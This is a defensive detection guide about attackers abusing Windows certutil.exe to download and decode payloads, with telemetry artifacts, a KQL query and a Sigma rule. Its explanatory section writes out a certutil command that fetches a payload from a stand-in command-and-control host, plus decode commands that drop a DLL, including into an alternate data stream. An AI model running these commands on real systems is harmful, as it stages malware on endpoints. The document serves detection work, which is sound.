Detecting Certutil Abuse in Enterprise Telemetry: LOLBin Ingress and Decode Analysis

By Sharon Ben Moshe · · Updated

Certutil.exe is a legitimate Windows certificate tool frequently abused to download remote payloads and decode files. This technical guide breaks down command-line switches, telemetry artifacts, and production detection rules in KQL and Sigma.

Certutil.exe is a built-in command-line utility installed as part of Certificate Services in Microsoft Windows. Its intended purpose is verifying certificates, dumping certificate authorities, and configuring certificate services. Adversaries repurpose this signed binary to download files from remote servers and decode base64-encoded payloads directly onto endpoints, bypassing perimeter inspection.

Because certutil is digitally signed by Microsoft and present in C:\Windows\System32\certutil.exe, legacy application whitelisting rules that trust Microsoft signatures permit it to run. Monitoring process execution parameters and network connections provides the telemetry needed to identify this technique.

Attacker switches and execution mechanics

Adversaries rely on two primary subcommands within certutil: -urlcache and -decode. Understanding how these switches operate reveals why threat actors favor them in early-stage intrusions.

A standard ingress tool transfer command appears as:

certutil.exe -urlcache -split -f https://c2.example.com/payload.bin C:\Users\Public\update.exe

The parameters perform specific actions:

  • -urlcache: Displays or purges the URL cache entries used by the cryptographic subsystem.
  • -split: Forces split HTTP or FTP transfers, causing certutil to retrieve the file from the target URL and save it to the specified local path.
  • -f: Forces fetching the remote resource, overwriting existing cache entries without confirmation.

Attackers also use certutil to decode staging files. A script or phishing document drops an ASCII text file containing base64 data, then executes:

certutil.exe -decode C:\Users\Public\stage.txt C:\Users\Public\payload.dll

This command decodes the file and writes a portable executable to disk. Some threat actors append a colon syntax (such as certutil.exe -decode payload.txt target.exe:hidden.dll) to write directly into an NTFS Alternate Data Stream (ADS).

Telemetry footprints across endpoint logs

Certutil abuse leaves forensic indicators across multiple log sources. SOC analysts should inspect process creation, network telemetry, and temporary file artifacts.

Process creation events (Windows Event ID 4688 and Sysmon Event ID 1) capture the command line. Suspicious parent processes include cmd.exe, powershell.exe, wscript.exe, and office applications like WINWORD.EXE.

When certutil contacts a remote address, Windows generates Sysmon Event ID 3 (Network connection detected). In enterprise networks, certutil should rarely initiate outbound connections to external public IP addresses over port 80 or 443, except to known CRL distribution points hosted by corporate PKI servers or public certificate authorities.

Certutil creates cache artifacts in the user profile directory under %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content. Even if an attacker deletes the destination file, the downloaded file often remains inside the CryptnetUrlCache directory with a cryptographic hash matching the remote file.

KQL detection rule for Microsoft Sentinel

The following KQL query searches Microsoft Defender for Endpoint and Sentinel telemetry for suspicious certutil invocations involving URL transfers, cache splitting, or base64 decoding:

DeviceProcessEvents
| where ProcessVersionInfoOriginalFileName =~ "certutil.exe" or FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("-urlcache", "/urlcache", "urlcache")
and ProcessCommandLine has_any ("-split", "/split", "-f", "/f", "http://", "https://")
or ProcessCommandLine has_any ("-decode", "/decode", "-decodehex", "/decodehex")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Sigma detection signature

For organizations using standard Sigma pipelines, this rule detects certutil downloading or decoding files:

title: Suspicious Certutil Command Line Activity
status: stable
logsource:
category: process_creation
product: windows
detection:
selection_binary:
- Image|endswith: '\certutil.exe'
- OriginalFileName: 'CertUtil.exe'
selection_switches:
CommandLine|contains:
- '-urlcache'
- '/urlcache'
- '-decode'
- '/decode'
- '-decodehex'
selection_download:
CommandLine|contains:
- 'http://'
- 'https://'
- '-split'
- '/split'
condition: selection_binary and (selection_switches or selection_download)

Investigation and mitigation guidance

When an alert fires, identify the parent process. If a web server process (such as w3wp.exe) or script interpreter spawned certutil, treat the host as compromised and isolate it from the network. Check the destination directory for dropped scripts or executables.

Mitigate certutil abuse by implementing Windows Defender Application Control (WDAC) or AppLocker policies in deny mode for user-writable directories. For organizations where administrative PKI management is restricted to dedicated jump boxes, block certutil execution for standard workstation users.

Explore our detailed certutil LOLBin profile for more command variations, or browse other utilities in the Download category and MITRE ATT&CK T1105 technique. You can also review ready-to-use signatures in our KQL detection catalog and test commands using the Command Analyzer.

For reference on legitimate tool switches, consult the official Microsoft Learn Certutil Documentation and the MITRE ATT&CK T1105 reference.

Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection Engineer • Check Point

Published on LOLPulse. Browse the LOLBin catalog